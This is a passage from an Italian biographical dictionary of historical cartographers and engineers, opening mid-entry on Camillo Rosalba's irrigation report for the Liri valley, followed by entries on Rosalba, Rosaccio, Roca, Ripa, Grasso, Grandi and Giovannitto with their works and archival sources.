(Qual è la quantità di acqua che può derivarsi dal Liri nel tempo di scarsezza, cioè ne’ mesi estivi, tenuti presenti i dritti degli opificii idraulici che già se ne servono; i dritti che su dette acque potrebbero avere e sperimentare i proprietarii della sponda dritta del Liri). Qui vengono affrontate le questioni relative al conflitto, potenziale o reale, fra i possibili utilizzatori delle acque o fra le varie attività economiche rispetto all’uso delle acque stesse, un conflitto che non emerge finché un artefatto tecnico non le renda fruibili: il Rosalba infatti si può permettere il lusso di sollevare le preoccupazioni degli interessati sui diritti che in futuro potrebbero accampare i proprietari della sponda destra del Liri, ricorrendo a precise argomentazioni («Ma non essendovi contrade prossime alle sponde, né sulla dritta né sulla sinistra; ed il fiume correndo incassato tra le sponde medesime, che sono alpestri e sassose, il pensiero di altre inferiori derivazioni svanisce; ed i dritti de’ proprietarii della dritta sponda, riduconsi a zero – rimarranno dritti potenziali ma non esercibili non mai controvertibili: ecco tutto»), senza considerare tuttavia che in futuro sarebbero stati inventati elevatori d'acqua assai più potenti di quelli a ruota idraulica operanti all'epoca, ed il problema avrebbe potuto riproporsi... Rimanendo sempre nella stessa fattispecie, l'ingegnere salernitano discute anche il problema che chiamerei del “lupo e dell'agnello”, ossia del rapporto – quanto al prelievo del prezioso liquido – fra le comunità che stanno a monte e quelle che stanno a valle. Fa quindi l'esempio delle popolazioni della conca del Fucino, allora ancora in parte lago non bonificato, che a prosciugamento avvenuto avrebbero potuto far ricorso alle sorgenti per irrigare le loro terre e togliere alimento al volume d'acqua che al momento veniva giù (il par. V suona: «Che assegnamento può farsi sulle acque delle sorgenti, che ora formano il Fucino, considerato l’uso che potranno farne per l’irrigazione le terre di quell’ampio bacino, quando disseccate saranno messe a coltura»; altro esempio: le terre di Sora, Isola e Castelluccio, che in futuro potevano aprire nelle parti superiori altri canali di irrigazione (p. 30). Il Rosalba è ben lieto di affermare che i rischi di decurtazione d’acque a valle non sussistono, sostenendo la tesi che soltanto lo Stato, attraverso gli organi provinciali, potrebbe concedere o revocare l'uso delle acque a monte, giacché finalmente, dopo l’eversione della feudalità e l’emanazione del Codice Napoleonico, si è ritornati al diritto romano antico e si è posto fine all'artificio dei giureconsulti "privatisti" che negavano alle acque non navigabili «il carattere di acque demaniali pubbliche» e le tenevano «in conto di proprietà private» (p. 31). Nel Paragrafo VIII risponde al quesito su «Che quantità di acqua si richiede per l’irrigazione di un ettera di terra, tenute presenti le condizioni di composizione, giacitura e irregolarità di superficie delle terre da irrigare». Dopo aver citato le “autorità” in merito (Tadini, tomo E della nuova raccolta degli Idraulici Italiani, p. 236; Pareto) ed alcune esperienze fatte personalmente, egli conclude sulla impossibilità di un «calcolo verace», data la variabilità delle situazioni territoriali («... imperocché in mezzo a tante varietà, per ragione della fisica natura del suolo; per il metodo delle irrigazioni; per la diversità de’ prodotti che si coltivano; e per la diversità del clima, sarebbe impossibile una determinazione positiva delle quantità varie dell’acqua, che alle molteplici combinazioni si potessero assegnare» (pp. 38-39). L'articolato discorso si conclude con l’esibizione del «Quadro sinottico» del Berti-Pichat, intitolato «Della quantità d’acqua mezzanamente necessaria alla irrigazione di un ettara», al quale il Rosalba apporta delle opportune correzioni valutative. Quel che più interessa qui non è la valutazione tecnica in sé, ma la scelta dell'Autore che fa testo, Carlo Berti-Pichat, che era sì un teorico e pratico innovatore agronomico (scrisse fra l'altro le monumentali Istituzioni scientifiche e tecniche ossia corso teorico e pratico di agricoltura, in 28 voll, 1851-1870), ma viene preferito anche perché rappresenta una figura prestigiosa di patriota, figlio di un ufficiale napoleonico, un sicuro democratico, fondatore del giornale «L’Italiano» (1847), Ministro dell’Interno della Repubblica Romana, deputato al Parlamento Italiano per tre legislature nel Gruppo della Sinistra, sindaco di Bologna (1872) e feroce oppositore della politica economica della Destra. Una riprova, dunque, di quanto il fatto tecnico sia legato al politico e all’ideologico, che trova ulteriore e puntuale conferma laddove il Rosalba calcola l’utile che deriverà alle terre dal passaggio dal regime seccagno alle irrigazioni (pp. 52sgg). Non a caso egli cita largamente, Melchiorre Gioia della Filosofia della Statistica, nei passaggi in cui fa riferimento a casi antichi e recenti, europei ed extraeuropei, di regioni irrigate (Bagdad, Aragona, Nuova Spagna, Piemonte, Sicilia: Duca di Monteleone e Duca Gualtieri). In buona sostanza il verificatore Rosalba condivide, salvo marginali rilievi, tutte le scelte fatte nel progetto del Padula. Tuttavia, gli muove una sola, grande e fondamentale obiezione, assai interessante per il nostro discorso. Mentre il pur valido collega prevedeva «rendita nuova» dalla costruzione di ben 40 opifici industriali (si ché, asseriva, «questa parte della Provincia di Terra di Lavoro rivaleggerà co’ primi distretti manifatturieri della Francia e dell'Inghilterra...», il Rosalba sostiene invece che il futuro è nei miglioramenti dell’agricoltura e della pastorizia (ad esempio, chiede che l’industria della seta venga tolta ai «miseri coloni» e accentrata nelle mani dei «grandi proprietari», per realizzare quella che oggi chiamiamo un'economia di scala), nonché, nel commercio, considerato l'alto sviluppo lineare delle coste nazionali. Leggiamolo: «Io non partecipo affatto, alle illusioni di cosi prosperevole avvenire, che star poteva alcun poco ne’decorsi tempi, del così detto protezionismo: quel sistema artificiale di grandi industrie manifattrici col quale i stati diversi di Europa si facevano asprissima guerra economica è passato, e non tornerà più presso noi; e non è neppur desiderabile che torni. Imperocché, in un suolo ubertoso come il nostro, e sotto l'influenza di un bel sole, di un sole d'Italia, come disse la Sthael, noi dobbiamo esser popolo agricoltore e popolo pastore – e per quanto riguardi commercio, atteso il giro delle nostre estesissime coste, in mezzo al più bello de’mari interni, dobbiamo essere popolo commerciante, come altra volta lo fummo; ed emulare la gloria dell’antica Genova, dell’antica, ora sventurata Venezia; e dell’antica Costiera Amalfitana; chè il commercio nulla toglie allo slancio dell'agricoltura e della pastorizia, anzi l'accresce, col favorire l’esportazione delle materie prime, inservienti alle manifatture straniere» (p. 56). Nonostante tutto, e a parte le sue citazioni (Quesnay, Souilly), egli non vuoi essere scambiato per un fisiocratico “fondamentalista”, che suonerebbe peraltro un tradimento all’illustre conterraneo Antonio Genovesi. Qui dimostra un certo opportunismo e comunque fa dubitare della sua totale buona fede, benché a scusante ci fosse l’aria che tirava all’epoca. Pur in presenza di un governo di destra, infatti, nei primi anni postunitari gli uomini politici italiani sia di destra che di sinistra concordavano in una politica che valorizzasse l’agricoltura per creare capitali da investire in infrastrutture, il che realmente avvenne (specie in campo viario-ferroviario), a scapito dell’industria nazionale, che accusò un gap tecnologico in settori-chiave (siderurgico e meccanico), e a danno esiziale dell’industria meridionale, costretta spesso alla scomparsa, con l’eccezione del ramo serico, nemmanco troppo modernizzato. È interessante analizzare i motivi addotti dal Rosalba per la sua scelta pianificatoria: mancano i capitali per l’industria; non c'è più protezione doganale (l’Italia aveva adottato il liberismo piemontese); nell'attività di fabbrica ci si aliena («un lavoro che fa dell'uomo un automata») e nasce la lotta di classe (che comunque è giusta, giacché i «capi» delle Società manifatturiere sono «ingiusti e crudeli per avarizia verso gli operai» (p. 60), mentre con l'affermazione di un'agricoltura modernizzata «non tarderebbe a...raddoppiare una industre, comoda, mansueta e morale popolazione contadinesca» (p. 59), come accadeva in Lombardia, Piemonte e Toscana. Queste le conclusioni: «Contentiamoci, come abbiamo detto poco avanti, di qualche piccolo profitto per opifici, che potrebbero stabilirsi per eccezione, e di qualche macchina di agricoltura e nulla più: questo solo è serio! Curiamo tutto l’utile che dovrà necessariamente provenire dall’aumento di rendita nei fondi per la irrigazione, come l’abbiamo calcolato...» (p. 60). Nelle sue argomentazioni, il Rosalba non manca di lanciare degli strali ai Borboni (forse anche un po’ eccessivi e ingenerosi) e alle precedenti dominazioni del Sud: la Campania Felice deve esser resa «più degna di quel suo nome, dal quale ha dovuto scapitare per l’indolenza di governi che nulla han voluto fare per la protezione delle scienze agronomiche» (p. 60). Ora, da sole queste popolazioni «non arriverebbero mai a crearsi per propria iniziativa quel sistema d’irrigazione che tanto bramano....soggiaciute da tanti secoli al reggimento di governi dispotici...». Come si vede, viene fuori una figura di “uomo di sinistra”, troppo ligio agli interessi dei grandi proprietari e certamente succube della temperie politico-economica. Quelle popolazioni – egli prosegue – «han perduto la coscienza della forza collettiva [riappare il linguaggio di sinistra...], e la fiducia che dovrebbero avervi. Tutto per esse bisogna che accada per fatto di Amministrazione: specialmente; per un gran sistema d’irrigazione, su del quale, l’Amministrazione deve necessariamente mettersi a capo, per tutelare la salute pubblica, e l’ordine pubblico: e poi ancora per proteggere e sussidiare un’opera di tanta importanza con opportune anticipazioni, onde far fronte alle inevitabili spese, alle quali si va incontro sulle prime. Ben inteso, che quelle anticipazioni dovrebbero essere dai proprietarii dei fondi rimborsate...» (pp. 68-69). Tornano quanto mai illuminanti, a questo punto, per spiegare l'apparente contraddizione dì questo tecnico-umanista, le seguenti riflessioni di Giovanni Spadolini (1985) sulla situazione dell’Italia all'indomani dell’Unità: «...la Destra subordinò in ogni momento i problemi amministrativi agli imperativi morali...e guardò alle riforme come a uno strumento di trasformazione etico-educativa molto prima che di stabilizzazione politico-economica. La...Sinistra, premuta dalle rivendicazioni dei nuovi ceti che affioravano alla superficie, incalzato dall’attacco del protezionismo industriale congiunto all’estensione dell'intervento dello Stato e della burocrazia, si trovò costretta a imboccare una strada diversa e talora opposta, a dare la priorità al rafforzamento delle strutture giuridiche, rispetto a quello delle convinzioni ideali, a optare per la creazione di un equilibrio sociale piuttosto che per la ricerca di una più elevata coscienza morale» . O quanto si legge in un accreditato manuale di storia: «Le differenze tra i due schieramenti politici erano di natura ideologica più che sociale: la Sinistra raccoglieva tutti coloro che volevano una più larga partecipazione alla gestione del potere (da realizzare soprattutto attraverso l'ampliamento del corpo elettorale) oppure che, come i repubblicani, si erano opposti allo sbocco istituzionale che era stato dato al processo di unificazione. La Sinistra aveva dato espressione politica al vasto malcontento provocato dalla politica di rigore della Destra, riunendo gruppi sociali eterogenei: in essa si erano infatti raccolti sia i rappresentanti della più avanzata borghesia settentrionale che quelli della borghesia terriera meridionale, contrari alla politica di costruzione di infrastrutture necessarie a sostenere lo sviluppo industriale del Nord, che era finanziata con maggiori imposizioni sulla proprietà terriera» (VILLANI, PETRACCONE, GAETA, 1996, p. 46). Allo stato attuale della mia indagine non so in particolare quanto di quello che possiamo chiamare il progetto Padula-Rosalba sia rifluito nei successivi e tardivi interventi bonificatori dell'area in parola. Riassuntivamente sarà forse utile richiamare quanto di recente scriveva Stefano Lepre: «Il territorio della Valle del Liri venne classificato comprensorio di bonifica di prima categoria dopo il 1882, col r. d. 11 ottobre 1885, e nel corso del primo decennio del Novecento vennero eseguiti anche alcuni lavori (tra i quali il prosciugamento di uno stagno a Cassino e la sistemazione idraulica e l'imbrigliamento di diversi torrenti del bacino Consorzio di Bonifica della Valle del Liri si è costituito abbastanza tardi, nel 1950, e ha operato dal 1952: esso ha compiuto rilevanti interventi di bonifica idraulica e montana, nel settore della viabilità e per l'elettrificazione rurale ( LEPRE, 1998, p. 553).

Autore della scheda: Vincenzo Aversano

Rosalba, Camillo

Camillo Rosalba
N. Salerno 27 settembre 1825
M.

Relazioni di parentela: Figlio dell’architetto Giovanni e di Marianna Padovano, fratello maggiore di Federico insieme al quale entra come aspirante ingegnere nell’Officio Topografico di Napoli.

Ente/istituzione di appartenenza:
Qualifica: Aspirante ingegnere e configuratore nell’Officio Topografico di Napoli. Ingegnere del Corpo Reale del Genio Civile nel Regno d’Italia.

Biografia:
Nasce a Salerno il 27 settembre 1825 e va in pensione nel 1858 per ignoti motivi (VALERIO, 1993, p. 621). Dopo l’Unità d’Italia è stato sicuramente riassunto come ingegnere nel Corpo Reale del Genio Civile, anche se ci sfuggono i particolari della vicenda. Ciò non esclude che abbia continuato la sua professione anche in privato, come parrebbe da una sua planimetria (cfr. infra) del 1883.

Produzione scientifica:
«Nell’anno del suo ingresso [nell’Officio Topografico di Napoli] eseguì il rilievo di Cittaducale il cui disegno in scala 1:10.000 è conservato nell’Archivio dell’Istituto Geografico Militare (Catalogo IGM 1934, II:434 n. 30). La pianta della città fu rilevata durante la campagna che lo vide attivo nella sezione incaricata della carta della frontiera, per la quale realizzò anche rilevamenti in scala 1:20.000 nei comuni di Cittaducale e di Castel S. Angelo» (VALERIO, 1993, p. 621). Nel 1851, inviato in Sicilia, svolge in collaborazione vari lavori di rilevamento della città di Palermo e dintorni e della carta del Regno. «Nel 1853 fece parte della squadra di ufficiali topografi ed aspiranti ingegneri inviati a Tiriolo (CS) per la realizzazione di una pianta topografica della città e del suo territorio» (VALERIO, 1993, p. 622).
Sfugge per ora l’attività svolta dopo l’Unità, ma essa dovette essere intensa, prestigiosa e produttiva in grazia dell’inquadramento nel Corpo Reale del Genio Civile. Altrimenti non si spiegherebbe l’affidamento che gli fu conferito per un progetto di capitale importanza per la regione Puglia, ossia quello della captazione, dalle sorgenti del Sele, delle acque utili a irrigare il Tavoliere (cfr. infra): insomma, il progenitore indiscutibile dell’Acquedotto Pugliese, iniziato al principio del Novecento e compiuto nel 1939.
Escludendo le carte citate infra, di lui ci restano pochi disegni.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- Pianta di Città Ducale, in scala 1:10.000, 1851.
AIGM, cart. 81.

- Coautore alla stesura delle minute della Tavoletta 15 del foglio n. 56 della Carta del Regno.

- Idem per le Tavolette 5 e 14, come risulta da una Carta d’insieme delle levate di Palermo conservata nell’Archivio dell’Istituto Geografico Militare.
AIGM, cart. 87

- Pianta del centro urbano di Cosenza 1:2.000, 1853
AIGM, cart. 81
(N.B. Le informazioni di cui supra sono desunte da Valerio, op. cit.).

- Carta Idrografica Del territorio tra Foggia e le sorgenti del Sele e Profilo di massima secondo gli studii preliminari del Progetto Del Gran Canale d’Irrigazione nel Tavoliere di Puglia proposto dall’Ing.re del Genio Civile Camillo Rosalba, 1868.
(Allegata al volume Canale d’irrigazione nel Tavoliere di Puglia.., cit. infra).

- Planimetria della vasca con il partitoio delle acque municipali sotto la strada di Santa Maria del Monte in Salerno, Salerno, 20 dicembre 1883. F.to: ing. Camillo Rosalba.
ASS, Tribunale Civile e Correzionale, anno 1883.

Fonti d’archivio:

Bibliografia:
n. 97.

Rimandi ad altre schede: Vedi qui scheda di Giovanni Rosalba. Per la biografia professionale di Federico Rosalba, cfr. Bibliografia citata, n. 94, pp. 623-625.

Autore della scheda: M.R. De Vita

Rosaccio, Luigi

Luigi Rosaccio
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Geografo, incisore

Biografia:
XVII sec.

Produzione scientifica:
Geografo e incisore autore di una grande Carta d’Italia precedente l’Italia nuova di Giovanni Antonio Magini. Il suo nome compare nella carta della Toscana detta anche del Cavallo e nel Planisfero disegnati dal padre Giuseppe. Si specializzò nella tecnica d’incisione.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
LAGO L., Imago Italiae, la fabbrica dell’Italia nella storia della cartografia tra Medioevo ed Età Moderna, edizioni EUT, Trieste, 2002
NAZZI G., (a cura di), Dizionario Biografico friulano, III ed., Clape Culturâl Acuilee, Udine 2002
ANGELILLO P., (a cura di), Mille protagonisti per 12 secoli nel Friuli occidentale dal 1700 al 1900. Dizionario Biografico, Pordenone, 2000, pp.419-420
MARCHETTI G., Il Friuli. Uomini e tempi, Udine, 1979, pag. 1011
BENEDETTI A., Giuseppe Rosaccio cosmografo pordenonese, “Il Noncello”, XXXVII, Pordenone,1973

Rimandi ad altre schede:

Autore della scheda: Anonimo

Roca, Federico

Federico Roca
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere (ASAV, Fondo Disegni e Carte topografiche del XIX secolo, disegno a colori con legenda n. 38)

Biografia:
Attivo nella prima metà del XIX secolo (ASAV, Fondo Intendenza, busta 1141).

Produzione scientifica:
Nel 1836 compare tra gli addetti al progetto per la costruzione del nuovo forno comunale di Avellino (ASAV, Fondo Intendenza, busta 1141).
Nel 1843 risulta essere nominato aiutante del sindaco di Avellino Bartolomeo Bianco per migliorare l’arredamento della polizia urbana e rurale (ASAV, Fondo Intendenza, busta 1141).

Produzione di cartografia manoscritta:
- Pianta topografica della traversa rotabile che da Rocchetta S. Antonio innesta col tenimento di Candela. 25 marzo, 1866. F.to: Federico Roca.
ASAV, Fondo Disegni e Carte topografiche del XIX secolo, disegno a colori con legenda n. 38.
- Proposta di rettifica di un tratto della strada di circumvallazione nella città di Avellino, dalla strada Irpina pel mulino Roca sino al Picchetto del Fondo Criscuoli. 1880.
ASAV, Fondo Perizie, b. 869.
- Schizzo della pianta geometrica elevata sopra del primo fondo una volta appartenente alla Famiglia Coscia, sito in tenimento di Montella in Contrada S. Vito, o Isca al Fiume. F.to: Federico Roca. Montella, 29 giugno 1853.
ASAV, Tribunale Civile di Avellino, Fondo Perizie, b. 869.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Ripa, Matteo

Matteo Ripa
N. Eboli 29 marzo 1682
M. 29 marzo 1746

Relazioni di parentela: Figlio di Giovanni Filippo (dottor fisico, ossia medico) e Antonia Longo, fratello di Lorenzo e del sacerdote Mattia, sacerdote. Proviene da una famiglia «del ceto medio provinciale» di Giffoni Sei Casali (prov. di Salerno), non nobile ma dedita alle professioni liberali (FATICA, 1999, pp. 3-4).
La parabola ascendente di questo casato, fregiantesi di importanti aderenze presso uomini di stato, di Chiesa e grandi nobili (le famiglie dei Doria, dei Caracciolo) ha funto da piattaforma di lancio per i successi del Ripa come uomo, come sacerdote, come artista (pittore e incisore), come diplomatico, come fondatore del «Collegio dei Cinesi» in Napoli.

Ente/istituzione di appartenenza:
Qualifica: Pittore e incisore su rame (FATICA, 1999, p. 6).

Biografia:

Produzione scientifica:
La stima guadagnatasi presso l’Imperatore Cang-Hi (considerato il “Re Sole Cinese”) come artista, docente e interprete, gli consentì, nell’ultimo periodo di permanenza cinese (1719-1724), di dar vita a Iehol, «nella stessa cinta di Pechino e nelle stesse camere imperiali, una scuola per catecumeni cinesi» (Ivi, p. 386). Tornato a Napoli, fonderà il Collegio dei Cinesi, per l’istruzione religiosa di cinesi e indiani. Fu un’istituzione che non ebbe vita facile, conservando il suo nome fino al 1868 e divenendo alfine dopo alcuni passaggi, il Regio Istituto Orientale di Napoli. Il Collegio, del quale furono discenti illustri Alfonso Maria de’ Liguori, Gherardo Degli Angioli e Gennaro Sarnelli, ebbe una enorme successo e importanza culturale «non solo per i governanti di Napoli e per la sua classe intellettuale, ma anche […] come centro di diffusione della lingua cinese in Europa e fucina di missionari in Cina» (FATICA, 1999, p. 17; sulla storia di questo collegio e la relativa bibliografia, cfr. ivi, pp. 9-38; si veda anche NARDI, 1976, pp. 285-380).
Ma quello che in questa sede interessa più specificamente è l’esperienza di incisore e pittore, forzosamente fatta in Cina, per ordine dell’imperatore e per spirito di obbedienza verso i suoi superiori. Con forza di volontà e spirito di autodidatta egli «preferì occuparsi di paesaggi e scene di guerra, pittura assai pregiata e richiesta» (LONGOBARDI, 1998, p. 386), ma ben presto dovette concentrarsi nell’attività di «incisore su rame, all’acqua e col bulino» (Ibidem), che gli consentì di fondare e dirigere a Pechino una scuola di incisione per apprendisti cinesi. A tal proposito, è rimasta famosa, per le varie copie diffuse in tutta Europa, la sua incisione della villa imperiale di Jehol (FATICA, 1999, p. 6, dove la nota 13 riporta la ormai discreta bibliografia, anche cinese, relativa a questo periodo della attività del Ripa): felice sorte “divulgativa” toccata anche ai vari esemplari del grande atlante dell’impero cinese.
La buona maestria raggiunta nell’arte dell’incisione, che – pur essendo un fatto manuale e artigianale – all’epoca era molto apprezzata, tanto che chi la praticava spesso si firmava in calce alle carte, gli fruttò l’incarico imperiale di ricopiare, unificando (e anche modificando e arricchendo, come si vedrà) le singole carte regionali già esistenti (32 mappe manoscritte dei gesuiti, purtroppo andate perdute. Esse erano frutto di un secolare lavoro, con dei precedenti illustri, a partire almeno dal XV secolo, ALBANESE, 1999, 140-152; BENCARDINO, 1993; NARDI, 1976, pp. 162-164). A partire dal 1719, dunque, allestisce una grande Carta Geografica delle province cinesi (Tartaria Orientale, Settentrionale, Occidentale, Tibet, Cina, Corea), utilizzando la tecnica calcografica, «che rispetto alla xilografia, aveva non solo il vantaggio di fornire stampe più nitide, ma anche di permetterne numerose tirature senza dover rifare spesso le matrici (come spesso avveniva con quelle in legno usate per xilografare)» (ALBANESE, 1999, p. 137).
Degli esemplari presenti in varie sedi bibliotecario-archivistiche (tra cui Napoli, Vienna e Londra: cfr. ivi, nota 67, p. 162), vale la pena prendere in considerazione quello rinvenuto per caso anni fa dalla stessa Andreina Albanese nella Biblioteca Universitaria di Bologna, vuoi perché questa studiosa ne ha dato una meticolosa descrizione in quasi tutti i suoi aspetti, vuoi perché esso è tuttora l’unico a essere corredato di una Avvertimento e di un Indice alfabetico dei nomi di luoghi: due elementi che, oltre a fornirci interessanti informazioni, «attestano l’originalità dell’arrangiamento» e il fatto che probabilmente la carta «fu l’unica, tra quelle destinate agli Occidentali, la cui globale sistemazione, comprensiva di “indicazioni per l’uso”, fosse portata felicemente a termine» (ALBANESE, 1999, p. 169).
La Carta, suddivisa in sette fogli, di «lunghezza variabile da cm 265 a cm 462 ed alti circa cm 40 [per la descrizione sintetica dei fogli, una tavola comparativa dei toponimi, i rilevamenti topografici dei Gesuiti e la corrispondenza tra le carte gesuitiche e i fogli della carta di Ripa, cfr. l’Appendice, ivi, pp.173-183: ndr] è stata arricchita con varie colorazioni che delineano i confini delle province cinesi e delle zone costiere – senza però fornire quella sorte di plastica tridimensionalità rintracciabile nel quasi monocromatico Novus Atlas di Martini…» (ALBANESE, 1999, p. 162-163). Essa «non si può definire originale, né tanto meno innovativa in campo cartografico: Ripa infatti non era un cartografo e si basava su materiale che non era in grado di verificare o controllare scientificamente». Una sua caratteristica fondamentale, che la distingue da quella quasi coeva dei gesuiti, a parte la citata tecnica di realizzazione (l’essere calcografata e non xilografata) è che «presenta un mappazione effettuata secondo fasce territoriali comprese ognuna entro sei gradi di latitudine (simili in qualche modo ai climata di tolemaica memoria) ed estese per vari gradi di longitudine, diversi da foglio a foglio. Questo tipo di mappazione permette una lettura meno frammentaria di quella fornita da mappe singole, pur non facilitando l’immediata individuazione delle differenti località ‘tartare’ o delle province cinesi (a volte di alcune di queste infatti se ne intravedono addirittura porzioni minime…), ed indubbiamente richiese un accurato lavoro di rielaborazione dei dati preesistenti» (ALBANESE, 1999, p. 138).
Nel dover comporre una sorta di grande puzzle di mappe diverse, il Ripa dovette risolvere il problema non solo di incollare fogli più piccoli per formare ciascuno dei sette fogli della sua carta (cosa che fu realizzata egregiamente grazie a un supporto di carta filigranata europea: ivi, p. 161, nota 64), ma anche quello della non coincidenza, specie ai margini, di disegno e toponimi di mappe diverse: «ed è assai improbabile che [… ] fosse in grado di effettuarle da solo, senza l’aiuto di qualcuno che non avesse avuto un addestramento specifico in campo cartografico o non avesse addirittura partecipato ai lavori preparatori del grande Atlante. Rispetto a questo, che come noto è scritto completamente in cinese […] i fogli di Ripa presentano una toponomastica bilingue, proponendo in grafia e lettura mancese i toponimi situati in zone non cinesi […] ed in cinese ovviamente quelli delle aree cinesi. Inoltre non solo la scala adottata fu di 1:400.000, differente da quella dell’Atlante del 1721 che fu di 1:2000000), ma furono usati anche elementi iconici per indicare alcune particolarità topografiche» (ALBANESE, 1999, p. 139).
La trascrizione dei toponimi segue il «sistema tradizionale cinese a ductus variabile, orizzontale da destra a sinistra, verticale dall’alto in basso» e si accompagna talora a scritte esplicative per alcuni luoghi particolarmente importanti, segnalati contemporaneamente con un simbolo specifico (stella, croce singola o doppia, quadratini o cerchietti di diversa grandezza), né esclude l’uso di lettere dell’alfabeto latino, cioè di una fonologia secondo la pronuncia italiana: si tratta di un elemento di originalità, attribuibile di certo al Ripa (STARY, 1999), rispetto alla scelta spagnola, portoghese o più spesso francese (di marca gesuitica) riscontrabile in atlanti precedenti e successivi (BENCARDINO, 1993).
In definitiva, pur non mancando errori di trascrizione e dati inesatti, che fanno della carta ripiana un documento «meno attendibile» del successivo Atlante dei Gesuiti (pubblicato nel 1721), essa, lungi dal costituire una impresa complementare e integrativa rispetto ad esso, si propone come alternativa, quanto meno momentanea. Conserva infatti un «estremo interesse», oltre che per i caratteri fin qui annotati, anche per essere testimone di «una fase di passaggio ad uno stadio di conoscenze più avanzato» (ALBANESE, 1999, p. 172) della complessa geografia cinese.
Quanto alla personalità complessiva del Ripa, dando la parola al Fatica (1999, p. 9), si può in sintesi concludere che «una sola cosa è certa: egli suscitò una curiosità enorme tra i savants italiani ed europei: Pietro Giannone lo incontrò a Vienna per ascoltare dalla sua viva voce notizie sulla Cina e allo stesso scopo Montesquieu venne a visitarlo a Napoli. In Europa rimarrà grande il fascino per tutto quello che sembrava scritto di sua mano».

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
- TAVOLE GEOGRAFICHE/DELLA CINA TARTARIA E COREA/ Formate nel principio del Secolo XVIII per ordine di I CANG-HI Secondo Imperatore della Dinastia Tsing.
Esemplare custodito presso la Biblioteca Universitaria di Bologna (ALBANESE, 1999).
- Un altro esemplare, custodito presso l’I.U.O di Napoli, «è stato sottoposto ad un adattamento riduttivo, che lo ha reso di forma quasi quadrangolare (cm 295 x 317) […] Altri esemplari della Carta di Ripa, attualmente noti, sono conservati a Vienna ed a Londra» (ALBANESE, 1997, p. 162, n. 67). Per le caratteristiche della carta napoletana cfr. PETECH, 1953.

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano

Grasso, Bartolomeo

Bartolomeo Grasso
N. 1775
M. 1860

Relazioni di parentela: Figlio dell’Ingegnere civile Antonio (FOSCARI, 1995, p. 156).

Ente/istituzione di appartenenza:
Qualifica: Ingegnere in capo del Corpo di Ponti e Strade (BUCCARO, 1992, p. 76). Architetto (STRAZZULLO, 1993, p. 91).

Biografia:

Produzione scientifica:
«Al Grasso si devono, oltre alle opere di carattere esclusivamente tecnico nel più vasto ambito del Regno (quali bonifiche, strade e ponti), importanti interventi nella capitale» (BUCCARO, 1992, p. 76). In particolare, nel 1794 progetta e costruisce la Fontana dei Leoni in piazza S. Eusebio a Cassano allo Ionio (REGIONE CALABRIA, 2006). Nel 1795 è destinato alla costruzione delle strade di Sora e Ceprano. Nel 1802 lavora alla bonifica dei Regi Lagni. Con Luigi Malesci e Giuliano De Fazio si occupa delle opere di regolamentazione del lago di Sarpi. (FOSCARI, 1995, p. 153). Nel 1813 è ingegnere di dipartimento in Terra di Lavoro. Il 18 marzo è nominato ispettore generale. È anche membro del Consiglio di ingegneri di Acque e Strade. Come ingegnere di ponti e strade ha notevoli responsabilità ed è tra i più apprezzati tecnici.
Quanto agli interventi napoletani, progettati ed eseguiti, si segnalano: il completamento (1820-1840) della strada di Capodimonte a Napoli (FOSCARI, 1995, p. 156); «la sistemazione, su progetto di Stefano Gasse, della strada di S. Lucia (1840-44); progettò e diresse, tra l’altro, la chiesetta di S. Maria delle Grazie a Foria (1816-19) e la casina del principe d’Angri a Posillipo (1833)» (BUCCARO, 1992, p. 76).

Produzione di cartografia manoscritta:
Ponte progettato avanti al molino della Ferreria, 1817.
F.to: Giordano Bartolomeo, Bartolomeo Grasso, Giuliano De Fazio.
ASAV, Fondo Intendenza, b. 126, dis. B.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede: Giuliano de Fazio

Autore della scheda: Vincenzo Aversano

Grandi, Carlo

Carlo Grandi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Scultore e incisore (TRIA, 1744).

Biografia:
Attivo tra la prima e la seconda metà del XVIII secolo in Molise (PETROCELLI, 1995, p.134).

Produzione scientifica:
Collabora con la parte illustrativa all’opera di Giovanni Andrea Tria, Memorie storiche…(cfr. Bibliografia infra), stampata a Roma nel 1744.

Produzione di cartografia manoscritta:
- Mappa del feudo di Ururi, posseduto dalla diocesi di Larino, 1744.
F.to: Carolus Grandi sculptoris.
Allegata all’opera del Tria (Cfr. Bibliografia)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano ed Emilia Sarno

Giovannitto, Giuseppe

Giuseppe Giovannitto
N. Oratino 1693
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Agrimensore (ASC, Protocolli notarili del comune di Baranello, fondo notaio De Maio Francescantonio, scheda n.1).

Biografia:
Nato ad Oratino nel 1693, è attivo nella prima metà del XVIII secolo in Molise fino alla morte nel 1761 (LORUSSO, 2006, p.98).

Produzione scientifica:
La Pianta, di seguito citata, assume un valore aggiunto perché Giovannitto riproduce anche, come particolare, Campobasso città turrita.

Produzione di cartografia manoscritta:
- Pianta del Feudo di Santa Maria Monteverde in tenimento di Mirabello diocesi di Boiano, 1743.
F.to: Giuseppe Giovannitto dell’Oratino agrimensore
ASC, Protocolli notarili del comune di Baranello, fondo notaio De Maio Francescantonio, scheda n.1.

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano e Emilia Sarno